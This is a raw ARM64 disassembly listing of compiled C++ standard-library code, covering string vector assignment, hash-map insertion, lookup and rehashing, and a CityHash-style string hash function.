    100010ef8sub x25, x8, 24
    100010efcldursb w9, [x8-1]
    100010f00tbz w9, 31, 0x100010eec
    100010f04ldur x0, [x8-24]
    100010f08bl _ZdlPv@plt
    100010f0cb 0x100010eec
    100010f10
    100010f10loc_100010f10:
    100010f10ldr x0, [x22+40]
    100010f14
    100010f14loc_100010f14:
    100010f14str x23, [x22+48]
    100010f18bl _ZdlPv@plt
    100010f1c
    100010f1cloc_100010f1c:
    100010f1cldrsb w8, [x22+39]
    100010f20tbz w8, 31, 0x100010ebc
    100010f24ldr x0, [x22+16]
    100010f28bl _ZdlPv@plt
    100010f2cb 0x100010ebc
    100010f30b 0x100010f34
    100010f34
    100010f34loc_100010f34:
    100010f34bl __cxa_begin_catch@plt
    100010f38mov x0, x19
    100010f3cmov x1, x23
    100010f40bl fn_100010d24
    100010f44bl __cxa_rethrow@plt
    100010f48brk 1
    100010f4cmov x19, x0
    100010f50bl __cxa_end_catch@plt
    100010f54mov x0, x19
    100010f58bl _Unwind_Resume@plt
    100010f5cbl fn_100005128
    100010dc8
    100010f60
    100010f60fn_100010f60:
    100010f60pacibsp
    100010f64sub sp, sp, 64
    100010f68stp x22, x21, [sp+16]
    100010f6cstp x20, x19, [sp+32]
    100010f70stp x29, x30, [sp+48]
    100010f74add x29, sp, 48
    100010f78mov x19, x1
    100010f7cmov x20, x0
    100010f80mov x21, x1
    100010f84ldr x8, [x21+16]!
    100010f88ldrb w9, [x21+23]
    100010f8csbfm w10, w9, 0, 7
    100010f90ldr x11, [x21+8]
    100010f94subs wzr, w10, 0
    100010f98csel x1, x8, x21, lt
    100010f9ccsel x2, x11, x9, lt
    100010fa0add x0, sp, 8
    100010fa4bl fn_1000117c8
    100010fa8mov x1, x0
    100010facstr x1, [x19+8]
    100010fb0mov x0, x20
    100010fb4mov x2, x21
    100010fb8bl fn_1000114b0
    100010fbccbz x0, 0x100010fe0
    100010fc0movz x1, 0
    100010fc4mov x19, x0
    100010fc8mov x0, x19
    100010fccldp x29, x30, [sp+48]
    100010fd0ldp x20, x19, [sp+32]
    100010fd4ldp x22, x21, [sp+16]
    100010fd8add sp, sp, 64
    100010fdcretab
    100010fe0
    100010fe0loc_100010fe0:
    100010fe0ldr x8, [x20+8]
    100010fe4ldr x10, [x19+8]
    100010fe8fmov d0, x8
    100010feccnt v0.8b, v0.8b
    100010ff0uaddlv h0, v0.8b
    100010ff4fmov w9, s0
    100010ff8subs xzr, x9, 1
    100010ffcb.hi 0x10001100c
    100011000sub x11, x8, 1
    100011004and x10, x11, x10
    100011008b 0x10001101c
    10001100c
    10001100cloc_10001100c:
    10001100csubs xzr, x10, x8
    100011010b.lo 0x10001101c
    100011014udiv x11, x10, x8
    100011018msub x10, x11, x8, x10
    10001101c
    10001101cloc_10001101c:
    10001101cldr x11, [x20]
    100011020ldr x11, [x11+3*x10]
    100011024cbz x11, 0x100011034
    100011028ldr x8, [x11]
    10001102cstr x8, [x19]
    100011030b 0x100011084
    100011034
    100011034loc_100011034:
    100011034mov x11, x20
    100011038ldr x12, [x11+16]!
    10001103cstr x12, [x19]
    100011040str x19, [x11]
    100011044ldr x12, [x20]
    100011048str x11, [x12+3*x10]
    10001104cldr x10, [x19]
    100011050cbz x10, 0x100011088
    100011054ldr x10, [x10+8]
    100011058subs xzr, x9, 1
    10001105cb.hi 0x10001106c
    100011060sub x8, x8, 1
    100011064and x10, x10, x8
    100011068b 0x10001107c
    10001106c
    10001106cloc_10001106c:
    10001106csubs xzr, x10, x8
    100011070b.lo 0x10001107c
    100011074udiv x9, x10, x8
    100011078msub x10, x9, x8, x10
    10001107c
    10001107cloc_10001107c:
    10001107cldr x8, [x20]
    100011080add x11, x8, x10, lsl #3
    100011084
    100011084loc_100011084:
    100011084str x19, [x11]
    100011088
    100011088loc_100011088:
    100011088ldr x8, [x20+24]
    10001108cadd x8, x8, 1
    100011090str x8, [x20+24]
    100011094movz w1, 1
    100011098mov x0, x19
    10001109cldp x29, x30, [sp+48]
    1000110a0ldp x20, x19, [sp+32]
    1000110a4ldp x22, x21, [sp+16]
    1000110a8add sp, sp, 64
    1000110acretab
    1000110b0bl fn_100005128
    100010f60
    1000110b4
    1000110b4fn_1000110b4:
    1000110b4pacibsp
    1000110b8stp x26, x25, [sp-80]!
    1000110bcstp x24, x23, [sp+16]
    1000110c0stp x22, x21, [sp+32]
    1000110c4stp x20, x19, [sp+48]
    1000110c8stp x29, x30, [sp+64]
    1000110ccadd x29, sp, 64
    1000110d0mov x20, x2
    1000110d4mov x21, x1
    1000110d8mov x19, x0
    1000110dcsub x8, x2, x1
    1000110e0sbfm x8, x8, 3, 63
    1000110e4orr x9, xzr, 0xaaaaaaaaaaaaaaaa
    1000110e8movk x9, 43691
    1000110ecmadd x24, x8, x9, xzr
    1000110f0ldr x8, [x0+16]
    1000110f4ldr x22, [x0]
    1000110f8sub x10, x8, x22
    1000110fcsbfm x10, x10, 3, 63
    100011100madd x10, x10, x9, xzr
    100011104subs xzr, x24, x10
    100011108b.ls 0x100011148
    10001110ccbz x22, 0x1000111cc
    100011110ldr x8, [x19+8]
    100011114subs xzr, x8, x22
    100011118b.ne 0x100011130
    10001111cmov x0, x22
    100011120b 0x1000111b8
    100011124
    100011124loc_100011124:
    100011124mov x8, x23
    100011128subs xzr, x23, x22
    10001112cb.eq 0x1000111b4
    100011130
    100011130loc_100011130:
    100011130sub x23, x8, 24
    100011134ldursb w9, [x8-1]
    100011138tbz w9, 31, 0x100011124
    10001113cldur x0, [x8-24]
    100011140bl _ZdlPv@plt
    100011144b 0x100011124
    100011148
    100011148loc_100011148:
    100011148ldr x8, [x19+8]
    10001114csub x8, x8, x22
    100011150sbfm x10, x8, 3, 63
    100011154madd x26, x10, x9, xzr
    100011158add x8, x21, x8
    10001115csubs xzr, x24, x26
    100011160csel x23, x8, x20, hi
    100011164subs xzr, x23, x21
    100011168b.eq 0x100011260
    10001116cmov x25, x22
    100011170
    100011170loc_100011170:
    100011170mov x0, x22
    100011174mov x1, x21
    100011178bl _ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEaSERKS5_@plt
    10001117cadd x21, x21, 24
    100011180add x22, x22, 24
    100011184add x25, x25, 24
    100011188subs xzr, x21, x23
    10001118cb.ne 0x100011170
    100011190ldr x21, [x19+8]
    100011194subs xzr, x24, x26
    100011198b.ls 0x100011270
    10001119c
    10001119cloc_10001119c:
    10001119cadd x0, x19, 16
    1000111a0mov x1, x23
    1000111a4mov x2, x20
    1000111a8mov x3, x21
    1000111acbl fn_1000112d0
    1000111b0b 0x100011244
    1000111b4
    1000111b4loc_1000111b4:
    1000111b4ldr x0, [x19]
    1000111b8
    1000111b8loc_1000111b8:
    1000111b8str x22, [x19+8]
    1000111bcbl _ZdlPv@plt
    1000111c0movz x8, 0
    1000111c4stp xzr, xzr, [x19]
    1000111c8str xzr, [x19+16]
    1000111cc
    1000111ccloc_1000111cc:
    1000111ccorr x9, xzr, 0xaaaaaaaaaaaaaaaa
    1000111d0movk x9, 0xaaa000000000000
    1000111d4subs xzr, x24, x9
    1000111d8b.hi 0x1000112b8
    1000111dcsbfm x8, x8, 3, 63
    1000111e0orr x10, xzr, 0xaaaaaaaaaaaaaaaa
    1000111e4movk x10, 43691
    1000111e8madd x8, x8, x10, xzr
    1000111ecubfm x10, x8, 63, 62
    1000111f0subs xzr, x10, x24
    1000111f4csel x10, x10, x24, hi
    1000111f8orr x11, xzr, 0x5555555555555555
    1000111fcmovk x11, 0x555000000000000
    100011200subs xzr, x8, x11
    100011204csel x8, x10, x9, lo
    100011208subs xzr, x8, x9
    10001120cb.hi 0x1000112b8
    100011210add x8, x8, x8, lsl #1
    100011214ubfm x23, x8, 61, 60
    100011218mov x0, x23
    10001121cbl _Znwm@plt
    100011220mov x22, x0
    100011224stp x0, x0, [x19]
    100011228add x8, x0, x23
    10001122cmov x0, x19
    100011230str x8, [x0+16]!
    100011234mov x1, x21
    100011238mov x2, x20
    10001123cmov x3, x22
    100011240bl fn_1000112d0
    100011244
    100011244loc_100011244:
    100011244str x0, [x19+8]
    100011248ldp x29, x30, [sp+64]
    10001124cldp x20, x19, [sp+48]
    100011250ldp x22, x21, [sp+32]
    100011254ldp x24, x23, [sp+16]
    100011258ldp x26, x25, [sp], 80
    10001125cretab
    100011260
    100011260loc_100011260:
    100011260mov x25, x22
    100011264ldr x21, [x19+8]
    100011268subs xzr, x24, x26
    10001126cb.hi 0x10001119c
    100011270
    100011270loc_100011270:
    100011270subs xzr, x21, x25
    100011274b.ne 0x1000112a0
    100011278
    100011278loc_100011278:
    100011278str x25, [x19+8]
    10001127cldp x29, x30, [sp+64]
    100011280ldp x20, x19, [sp+48]
    100011284ldp x22, x21, [sp+32]
    100011288ldp x24, x23, [sp+16]
    10001128cldp x26, x25, [sp], 80
    100011290retab
    100011294
    100011294loc_100011294:
    100011294mov x21, x20
    100011298subs xzr, x20, x25
    10001129cb.eq 0x100011278
    1000112a0
    1000112a0loc_1000112a0:
    1000112a0sub x20, x21, 24
    1000112a4ldursb w8, [x21-1]
    1000112a8tbz w8, 31, 0x100011294
    1000112acldur x0, [x21-24]
    1000112b0bl _ZdlPv@plt
    1000112b4b 0x100011294
    1000112b8
    1000112b8loc_1000112b8:
    1000112b8mov x0, x19
    1000112bcbl fn_100011498
    1000112c0str x21, [x19+8]
    1000112c4bl _Unwind_Resume@plt
    1000112c8str x22, [x19+8]
    1000112ccbl _Unwind_Resume@plt
    1000110b4
    1000112d0
    1000112d0fn_1000112d0:
    1000112d0pacibsp
    1000112d4sub sp, sp, 144
    1000112d8stp x28, x27, [sp+48]
    1000112dcstp x26, x25, [sp+64]
    1000112e0stp x24, x23, [sp+80]
    1000112e4stp x22, x21, [sp+96]
    1000112e8stp x20, x19, [sp+112]
    1000112ecstp x29, x30, [sp+128]
    1000112f0add x29, sp, 128
    1000112f4mov x20, x3
    1000112f8stp x3, x3, [sp+32]
    1000112fcsubs xzr, x1, x2
    100011300b.eq 0x1000113c8
    100011304mov x21, x2
    100011308mov x22, x1
    10001130cstr x0, [sp]
    100011310movz x25, 0
    100011314ldr x28, [sp+40]
    100011318orr x26, xzr, 0x7ffffffffffffff0
    10001131cmov x27, x20
    100011320b 0x10001134c
    100011324
    100011324loc_100011324:
    100011324ldr q0, [x8]
    100011328ldr x8, [x8+16]
    10001132cstr x8, [x0+16]
    100011330str q0, [x0]
    100011334add x28, x27, 24
    100011338add x25, x25, 24
    10001133cadd x8, x22, x25
    100011340mov x27, x28
    100011344subs xzr, x8, x21
    100011348b.eq 0x1000113c0
    10001134c
    10001134cloc_10001134c:
    10001134cadd x0, x20, x25
    100011350add x8, x22, x25
    100011354ldrsb w9, [x8+23]
    100011358tbz w9, 31, 0x100011324
    10001135cldp x23, x19, [x8]
    100011360subs xzr, x19, 22
    100011364b.hi 0x100011374
    100011368add x8, x20, x25
    10001136cstrb w19, [x8+23]
    100011370b 0x10001139c
    100011374
    100011374loc_100011374:
    100011374subs xzr, x19, x26
    100011378b.hs 0x1000113ec
    10001137cadd x8, x19, 16
    100011380and x24, x8, -16
    100011384mov x0, x24
    100011388bl _Znwm@plt
    10001138cadd x8, x20, x25
    100011390orr x9, x24, 0x8000000000000000
    100011394stp x19, x9, [x8+8]
    100011398str x0, [x8]
    10001139c
    10001139cloc_10001139c:
    10001139cadd x2, x19, 1
    1000113a0mov x1, x23
    1000113a4bl memmove@plt
    1000113a8add x28, x27, 24
    1000113acadd x25, x25, 24
    1000113b0add x8, x22, x25
    1000113b4mov x27, x28
    1000113b8subs xzr, x8, x21
    1000113bcb.ne 0x10001134c
    1000113c0
    1000113c0loc_1000113c0:
    1000113c0add x20, x20, x25
    1000113c4str x20, [sp+40]
    1000113c8
    1000113c8loc_1000113c8:
    1000113c8mov x0, x20
    1000113ccldp x29, x30, [sp+128]
    1000113d0ldp x20, x19, [sp+112]
    1000113d4ldp x22, x21, [sp+96]
    1000113d8ldp x24, x23, [sp+80]
    1000113dcldp x26, x25, [sp+64]
    1000113e0ldp x28, x27, [sp+48]
    1000113e4add sp, sp, 144
    1000113e8retab
    1000113ec
    1000113ecloc_1000113ec:
    1000113ecstr x28, [sp+40]
    1000113f0add x0, x20, x25
    1000113f4bl fn_1000089dc
    1000113f8b 0x100011428
    1000113fcb 0x100011404
    100011400str x28, [sp+40]
    100011404
    100011404loc_100011404:
    100011404bl __cxa_begin_catch@plt
    100011408add x8, sp, 32
    10001140cldr x9, [sp]
    100011410stp x9, x8, [sp+8]
    100011414add x8, sp, 40
    100011418str x8, [sp+24]
    10001141cadd x0, sp, 8
    100011420bl fn_100011444
    100011424bl __cxa_rethrow@plt
    100011428
    100011428loc_100011428:
    100011428brk 1
    10001142cb 0x100011430
    100011430
    100011430loc_100011430:
    100011430mov x19, x0
    100011434bl __cxa_end_catch@plt
    100011438mov x0, x19
    10001143cbl _Unwind_Resume@plt
    100011440bl fn_100005128
    1000112d0
    100011444
    100011444fn_100011444:
    100011444pacibsp
    100011448stp x20, x19, [sp-32]!
    10001144cstp x29, x30, [sp+16]
    100011450add x29, sp, 16
    100011454ldp x9, x8, [x0+8]
    100011458ldr x8, [x8]
    10001145cldr x19, [x9]
    100011460subs xzr, x8, x19
    100011464b.ne 0x100011480
    100011468
    100011468loc_100011468:
    100011468ldp x29, x30, [sp+16]
    10001146cldp x20, x19, [sp], 32
    100011470retab
    100011474
    100011474loc_100011474:
    100011474mov x8, x20
    100011478subs xzr, x20, x19
    10001147cb.eq 0x100011468
    100011480
    100011480loc_100011480:
    100011480sub x20, x8, 24
    100011484ldursb w9, [x8-1]
    100011488tbz w9, 31, 0x100011474
    10001148cldur x0, [x8-24]
    100011490bl _ZdlPv@plt
    100011494b 0x100011474
    100011444
    100011498
    100011498fn_100011498:
    100011498pacibsp
    10001149cstp x29, x30, [sp-16]!
    1000114a0add x29, sp, 0
    1000114a4adr x0, 0x309e7
    1000114a8hint
    1000114acbl fn_1000089f4
    100011498
    1000114b0
    1000114b0fn_1000114b0:
    1000114b0pacibsp
    1000114b4stp x26, x25, [sp-80]!
    1000114b8stp x24, x23, [sp+16]
    1000114bcstp x22, x21, [sp+32]
    1000114c0stp x20, x19, [sp+48]
    1000114c4stp x29, x30, [sp+64]
    1000114c8add x29, sp, 64
    1000114ccmov x19, x0
    1000114d0ldr x23, [x0+8]
    1000114d4cbz x23, 0x1000116ac
    1000114d8fmov d0, x23
    1000114dccnt v0.8b, v0.8b
    1000114e0uaddlv h0, v0.8b
    1000114e4fmov w8, s0
    1000114e8subs xzr, x8, 1
    1000114ecb.hi 0x100011508
    1000114f0sub x9, x23, 1
    1000114f4and x24, x9, x1
    1000114f8ldr x9, [x19]
    1000114fcldr x9, [x9+3*x24]
    100011500cbnz x9, 0x100011524
    100011504b 0x1000116ac
    100011508
    100011508loc_100011508:
    100011508subs xzr, x23, x1
    10001150cudiv x9, x1, x23
    100011510msub x9, x9, x23, x1
    100011514csel x24, x1, x9, hi
    100011518ldr x9, [x19]
    10001151cldr x9, [x9+3*x24]
    100011520cbz x9, 0x1000116ac
    100011524
    100011524loc_100011524:
    100011524ldr x20, [x9]
    100011528cbz x20, 0x1000116ac
    10001152cldrb w9, [x2+23]
    100011530sbfm w10, w9, 0, 7
    100011534subs wzr, w10, 0
    100011538ldp x11, x10, [x2]
    10001153ccsel x21, x10, x9, lt
    100011540csel x22, x11, x2, lt
    100011544subs xzr, x8, 2
    100011548b.hs 0x1000115f8
    10001154csub x25, x23, 1
    100011550add x26, x22, 1
    100011554b 0x100011560
    100011558
    100011558loc_100011558:
    100011558ldr x20, [x20]
    10001155ccbz x20, 0x1000116ac
    100011560
    100011560loc_100011560:
    100011560ldr x8, [x20+8]
    100011564and x8, x8, x25
    100011568subs xzr, x8, x24
    10001156cb.ne 0x1000116ac
    100011570ldrb w8, [x20+39]
    100011574sbfm w9, w8, 0, 7
    100011578ldr x10, [x20+24]
    10001157csubs wzr, w9, 0
    100011580csel x9, x10, x8, lt
    100011584subs xzr, x9, x21
    100011588b.ne 0x100011558
    10001158cadd x10, x20, 16
    100011590sbfm w11, w8, 0, 7
    100011594ldr x9, [x10]
    100011598subs wzr, w11, 0
    10001159ccsel x0, x9, x10, lt
    1000115a0tbnz w8, 7, 0x1000115e0
    1000115a4cbz x21, 0x1000117ac
    1000115a8ldrb w10, [x22]
    1000115acsubs wzr, w10, w9, uxtb
    1000115b0b.ne 0x100011558
    1000115b4movz x9, 0
    1000115b8sub x8, x8, 1
    1000115bc
    1000115bcloc_1000115bc:
    1000115bcsubs xzr, x8, x9
    1000115c0b.eq 0x1000117ac
    1000115c4add x10, x20, x9
    1000115c8ldrb w10, [x10+17]
    1000115ccldrb w11, [x26+x9]
    1000115d0add x9, x9, 1
    1000115d4subs wzr, w10, w11
    1000115d8b.eq 0x1000115bc
    1000115dcb 0x100011558
    1000115e0
    1000115e0loc_1000115e0:
    1000115e0cbz x21, 0x1000117ac
    1000115e4mov x1, x22
    1000115e8mov x2, x21
    1000115ecbl memcmp@plt
    1000115f0cbnz w0, 0x100011558
    1000115f4b 0x1000117ac
    1000115f8
    1000115f8loc_1000115f8:
    1000115f8add x25, x22, 1
    1000115fcb 0x100011608
    100011600
    100011600loc_100011600:
    100011600ldr x20, [x20]
    100011604cbz x20, 0x1000116ac
    100011608
    100011608loc_100011608:
    100011608ldr x8, [x20+8]
    10001160csubs xzr, x8, x23
    100011610b.lo 0x10001161c
    100011614udiv x9, x8, x23
    100011618msub x8, x9, x23, x8
    10001161c
    10001161cloc_10001161c:
    10001161csubs xzr, x8, x24
    100011620b.ne 0x1000116ac
    100011624ldrb w8, [x20+39]
    100011628sbfm w9, w8, 0, 7
    10001162cldr x10, [x20+24]
    100011630subs wzr, w9, 0
    100011634csel x9, x10, x8, lt
    100011638subs xzr, x9, x21
    10001163cb.ne 0x100011600
    100011640add x10, x20, 16
    100011644sbfm w11, w8, 0, 7
    100011648ldr x9, [x10]
    10001164csubs wzr, w11, 0
    100011650csel x0, x9, x10, lt
    100011654tbnz w8, 7, 0x100011694
    100011658cbz x21, 0x1000117ac
    10001165cldrb w10, [x22]
    100011660subs wzr, w10, w9, uxtb
    100011664b.ne 0x100011600
    100011668movz x9, 0
    10001166csub x8, x8, 1
    100011670
    100011670loc_100011670:
    100011670subs xzr, x8, x9
    100011674b.eq 0x1000117ac
    100011678add x10, x20, x9
    10001167cldrb w10, [x10+17]
    100011680ldrb w11, [x25+x9]
    100011684add x9, x9, 1
    100011688subs wzr, w10, w11
    10001168cb.eq 0x100011670
    100011690b 0x100011600
    100011694
    100011694loc_100011694:
    100011694cbz x21, 0x1000117ac
    100011698mov x1, x22
    10001169cmov x2, x21
    1000116a0bl memcmp@plt
    1000116a4cbnz w0, 0x100011600
    1000116a8b 0x1000117ac
    1000116ac
    1000116acloc_1000116ac:
    1000116acldr x8, [x19+24]
    1000116b0add x8, x8, 1
    1000116b4ucvtf s0, x8
    1000116b8ucvtf s2, x23
    1000116bcldr s1, [x19+32]
    1000116c0fmul s2, s1, s2
    1000116c4fcmp s2, s0
    1000116c8ccmp x23, 0, 4, pl
    1000116ccb.ne 0x1000117a8
    1000116d0ubfm x8, x23, 63, 62
    1000116d4movz w9, 1
    1000116d8sub x10, x23, 1
    1000116dcands xzr, x23, x10
    1000116e0cset w10, ne
    1000116e4subs xzr, x23, 3
    1000116e8csel x9, x9, x10, lo
    1000116ecorr x8, x9, x8
    1000116f0fdiv s0, s0, s1
    1000116f4fcvtpu x9, s0
    1000116f8subs xzr, x8, x9
    1000116fccsel x20, x8, x9, hi
    100011700subs x8, x20, 1
    100011704b.ne 0x100011710
    100011708movz w20, 2
    10001170cb 0x100011728
    100011710
    100011710loc_100011710:
    100011710ands xzr, x20, x8
    100011714b.eq 0x100011728
    100011718mov x0, x20
    10001171cbl _ZNSt3__112__next_primeEm@plt
    100011720mov x20, x0
    100011724ldr x23, [x19+8]
    100011728
    100011728loc_100011728:
    100011728subs xzr, x20, x23
    10001172cb.hi 0x10001179c
    100011730b.hs 0x1000117a8
    100011734ldr x8, [x19+24]
    100011738ucvtf s0, x8
    10001173cldr s1, [x19+32]
    100011740fdiv s0, s0, s1
    100011744fcvtpu x0, s0
    100011748subs xzr, x23, 3
    10001174cb.lo 0x100011788
    100011750fmov d0, x23
    100011754cnt v0.8b, v0.8b
    100011758uaddlv h0, v0.8b
    10001175cfmov w8, s0
    100011760subs xzr, x8, 1
    100011764b.hi 0x100011788
    100011768sub x8, x0, 1
    10001176cclz x8, x8
    100011770sub x8, xzr, x8
    100011774movz w9, 1
    100011778lslv x8, x9, x8
    10001177csubs xzr, x0, 2
    100011780csel x0, x0, x8, lo
    100011784b 0x10001178c
    100011788
    100011788loc_100011788:
    100011788bl _ZNSt3__112__next_primeEm@plt
    10001178c
    10001178cloc_10001178c:
    10001178csubs xzr, x20, x0
    100011790csel x20, x20, x0, hi
    100011794subs xzr, x20, x23
    100011798b.hs 0x1000117a8
    10001179c
    10001179cloc_10001179c:
    10001179cmov x0, x19
    1000117a0mov x1, x20
    1000117a4bl fn_10000ae74
    1000117a8
    1000117a8loc_1000117a8:
    1000117a8movz x20, 0
    1000117ac
    1000117acloc_1000117ac:
    1000117acmov x0, x20
    1000117b0ldp x29, x30, [sp+64]
    1000117b4ldp x20, x19, [sp+48]
    1000117b8ldp x22, x21, [sp+32]
    1000117bcldp x24, x23, [sp+16]
    1000117c0ldp x26, x25, [sp], 80
    1000117c4retab
    1000114b0
    1000117c8
    1000117c8fn_1000117c8:
    1000117c8subs xzr, x2, 32
    1000117ccb.hi 0x100011828
    1000117d0subs xzr, x2, 16
    1000117d4b.hi 0x1000118f0
    1000117d8subs xzr, x2, 9
    1000117dcb.lo 0x100011b7c
    1000117e0ldr x8, [x1]
    1000117e4add x9, x1, x2
    1000117e8ldur x9, [x9-8]
    1000117ecadd x10, x9, x2
    1000117f0rorv x10, x10, x2
    1000117f4eor x8, x10, x8
    1000117f8movz x11, 11625
    1000117fcmovk x11, 0xeb380000
    100011800movk x11, 0xea0800000000
    100011804movk x11, 0x9ddf000000000000
    100011808madd x8, x8, x11, xzr
    10001180ceor x10, x8, x10
    100011810eor x8, x10, x8, lsr #47
    100011814madd x8, x8, x11, xzr
    100011818eor x8, x8, x8, lsr #47
    10001181cmadd x8, x8, x11, xzr
    100011820eor x0, x8, x9
    100011824ret x30
    100011828
    100011828loc_100011828:
    100011828subs xzr, x2, 64
    10001182cb.hi 0x10001199c
    100011830add x8, x1, x2
    100011834ldp x9, x10, [x8-16]
    100011838add x11, x9, x2
    10001183cmovz x12, 12583
    100011840movk x12, 0x97cb0000
    100011844movk x12, 0xc85c00000000
    100011848movk x12, 0xc3a5000000000000
    10001184cldp x13, x14, [x1]
    100011850madd x11, x11, x12, x13
    100011854ldp x15, x13, [x1+16]
    100011858add x16, x11, x13
    10001185cextr x16, x16, x16, 52
    100011860extr x17, x11, x11, 37
    100011864add x11, x11, x14
    100011868extr x14, x11, x11, 7
    10001186cadd x11, x11, x15
    100011870extr x0, x11, x11, 31
    100011874add x14, x14, x17
    100011878ldp x17, x8, [x8-32]
    10001187cadd x15, x17, x15
    100011880add x10, x10, x13
    100011884add x17, x10, x15
    100011888extr x17, x17, x17, 52
    10001188cadd x14, x14, x16
    100011890extr x16, x15, x15, 37
    100011894add x8, x8, x15
    100011898extr x15, x8, x8, 7
    10001189cadd x14, x14, x0
    1000118a0add x8, x8, x9
    1000118a4add x9, x8, x10
    1000118a8extr x8, x8, x8, 31
    1000118acadd x10, x11, x13
    1000118b0add x10, x10, x16
    1000118b4add x10, x10, x15
    1000118b8add x10, x10, x17
    1000118bcadd x8, x10, x8
    1000118c0movz x10, 16463
    1000118c4movk x10, 0x2f900000
    1000118c8movk x10, 0x6a3b00000000
    1000118ccmovk x10, 0x9ae1000000000000
    1000118d0add x9, x9, x14
    1000118d4madd x9, x9, x12, xzr
    1000118d8madd x8, x8, x10, x9
    1000118dceor x8, x8, x8, lsr #47
    1000118e0madd x8, x8, x12, x14
    1000118e4eor x8, x8, x8, lsr #47
    1000118e8madd x0, x8, x10, xzr
    1000118ecret x30
    1000118f0
    1000118f0loc_1000118f0:
    1000118f0movz x8, 62067
    1000118f4movk x8, 0xbe980000
    1000118f8movk x8, 0xb66f00000000
    1000118fcmovk x8, 0xb492000000000000
    100011900ldp x9, x10, [x1]
    100011904madd x8, x9, x8, xzr
    100011908add x9, x1, x2
    10001190cmovz x11, 16463
    100011910movk x11, 0x2f900000
    100011914movk x11, 0x6a3b00000000
    100011918movk x11, 0x9ae1000000000000
    10001191cldp x9, x12, [x9-16]
    100011920madd x11, x12, x11, xzr
    100011924sub x12, x8, x10
    100011928extr x12, x12, x12, 43
    10001192cextr x13, x11, x11, 30
    100011930movz x14, 12583
    100011934movk x14, 0x97cb0000
    100011938movk x14, 0xc85c00000000
    10001193cmovk x14, 0xc3a5000000000000
    100011940add x12, x13, x12
    100011944movz x13, 25943
    100011948movk x13, 0x509e0000
    10001194cmovk x13, 0xd7c700000000
    100011950movk x13, 0xc949000000000000
    100011954eor x10, x10, x13
    100011958extr x10, x10, x10, 20
    10001195cmadd x9, x9, x14, x12
    100011960add x8, x8, x2
    100011964add x8, x8, x10
    100011968sub x8, x8, x11
    10001196ceor x9, x9, x8
    100011970movz x10, 11625
    100011974movk x10, 0xeb380000
    100011978movk x10, 0xea0800000000
    10001197cmovk x10, 0x9ddf000000000000
    100011980madd x9, x9, x10, xzr
    100011984eor x8, x9, x8
    100011988eor x8, x8, x9, lsr #47
    10001198cmadd x8, x8, x10, xzr
    100011990eor x8, x8, x8, lsr #47
    100011994madd x0, x8, x10, xzr
    100011998ret x30
    10001199c
    10001199cloc_10001199c:
    10001199cmovz x9, 62067
    1000119a0movk x9, 0xbe980000
    1000119a4movk x9, 0xb66f00000000
    1000119a8movk x9, 0xb492000000000000
    1000119acmovz x8, 11625
    1000119b0movk x8, 0xeb380000
    1000119b4movk x8, 0xea0800000000
    1000119b8movk x8, 0x9ddf000000000000
    1000119bcadd x10, x1, x2
    1000119c0ldp x11, x14, [x10-48]
    1000119c4add x12, x11, x2
    1000119c8ldp x17, x13, [x10-32]
    1000119cceor x12, x13, x12
    1000119d0madd x12, x12, x8, xzr
    1000119d4eor x15, x12, x13
    1000119d8eor x12, x15, x12, lsr #47
    1000119dcldp x3, x0, [x10-64]
    1000119e0ldp x4, x5, [x10-16]
    1000119e4add x15, x0, x4
    1000119e8madd x10, x12, x8, xzr
    1000119eceor x10, x10, x10, lsr #47
    1000119f0madd x16, x10, x8, xzr
    1000119f4add x10, x3, x2
    1000119f8add x12, x10, x0
    1000119fcadd x11, x12, x11
    100011a00extr x12, x11, x11, 44
    100011a04add x0, x12, x10
    100011a08add x10, x14, x10
    100011a0cadd x10, x10, x16
    100011a10extr x10, x10, x10, 21
    100011a14add x12, x11, x14
    100011a18add x10, x0, x10
    100011a1cadd x11, x15, x17
    100011a20add x11, x11, x9
    100011a24add x17, x11, x14
    100011a28add x17, x17, x5
    100011a2cextr x0, x17, x17, 21
    100011a30add x13, x11, x13
    100011a34add x13, x13, x4
    100011a38extr x17, x13, x13, 44
    100011a3cadd x13, x13, x5
    100011a40add x11, x17, x11
    100011a44ldr x17, [x1], 32
    100011a48add x11, x11, x0
    100011a4cmadd x0, x14, x9, x17
    100011a50sub x14, x2, 1
    100011a54and x14, x14, -64
    100011a58movz w2, 64
    100011a5csub x14, x2, x14
    100011a60
    100011a60loc_100011a60:
    100011a60add x0, x0, x12
    100011a64add x0, x0, x15
    100011a68add x15, x15, x10
    100011a6cldp x3, x4, [x1+16]
    100011a70add x15, x15, x3
    100011a74extr x15, x15, x15, 42
    100011a78ldp x6, x5, [x1]
    100011a7cadd x12, x5, x12
    100011a80madd x15, x15, x9, x12
    100011a84ldp x12, x7, [x1-24]
    100011a88add x0, x0, x12
    100011a8cextr x0, x0, x0, 37
    100011a90madd x0, x0, x9, xzr
    100011a94eor x2, x0, x11
    100011a98add x16, x16, x13
    100011a9cmadd x10, x10, x9, x17
    100011aa0ldur x17, [x1-8]
    100011aa4add x13, x10, x13
    100011aa8add x13, x13, x2
    100011aacadd x13, x13, x17
    100011ab0add x12, x10, x12
    100011ab4add x0, x12, x7
    100011ab8add x12, x0, x17
    100011abcextr x17, x0, x0, 44
    100011ac0add x10, x17, x10
    100011ac4extr x16, x16, x16, 33
    100011ac8madd x0, x16, x9, xzr
    100011accextr x13, x13, x13, 21
    100011ad0add x10, x10, x13
    100011ad4add x11, x0, x11
    100011ad8add x13, x15, x7
    100011adcadd x11, x11, x6
    100011ae0add x13, x13, x11
    100011ae4add x13, x13, x4
    100011ae8extr x16, x13, x13, 21
    100011aecadd x13, x11, x5
    100011af0add x13, x13, x3
    100011af4extr x17, x13, x13, 44
    100011af8add x13, x13, x4
    100011afcadd x11, x17, x11
    100011b00add x11, x11, x16
    100011b04cbz x14, 0x100011b1c
    100011b08ldr x17, [x1+32]
    100011b0cadd x14, x14, 64
    100011b10add x1, x1, 64
    100011b14mov x16, x2
    100011b18b 0x100011a60
    100011b1c
    100011b1cloc_100011b1c:
    100011b1ceor x12, x13, x12
    100011b20madd x12, x12, x8, xzr
    100011b24eor x13, x12, x13
    100011b28eor x12, x13, x12, lsr #47
    100011b2cmadd x12, x12, x8, xzr
    100011b30eor x12, x12, x12, lsr #47
    100011b34eor x13, x15, x15, lsr #47
    100011b38madd x9, x13, x9, x2
    100011b3cmadd x9, x12, x8, x9
    100011b40eor x10, x11, x10
    100011b44madd x10, x10, x8, xzr
    100011b48eor x11, x10, x11
    100011b4ceor x10, x11, x10, lsr #47
    100011b50madd x10, x10, x8, xzr
    100011b54eor x10, x10, x10, lsr #47
